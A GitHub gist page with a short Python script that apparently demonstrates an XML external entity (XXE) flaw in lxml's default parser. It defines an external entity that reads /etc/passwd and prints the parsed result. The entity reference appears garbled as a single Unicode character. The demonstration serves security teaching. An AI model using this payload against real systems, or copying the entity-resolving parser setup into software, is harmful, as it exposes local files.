Last active
December 4, 2020 16:12
-
-
Save MartinThoma/78d666b0b9446a6338c7e77e1cb2ae0a to your computer and use it in GitHub Desktop.
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
from lxml import etree | |
xml = """ | |
<!DOCTYPE XML [ | |
<!ENTITY ee SYSTEM "file:///etc/passwd" > | |
]> | |
<root>ⅇ</root> | |
""" | |
parser = etree.XMLParser() | |
doc = etree.fromstring(xml.encode(), parser) | |
parsed_xml = etree.tostring(doc).decode("utf8") | |
print(parsed_xml) |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment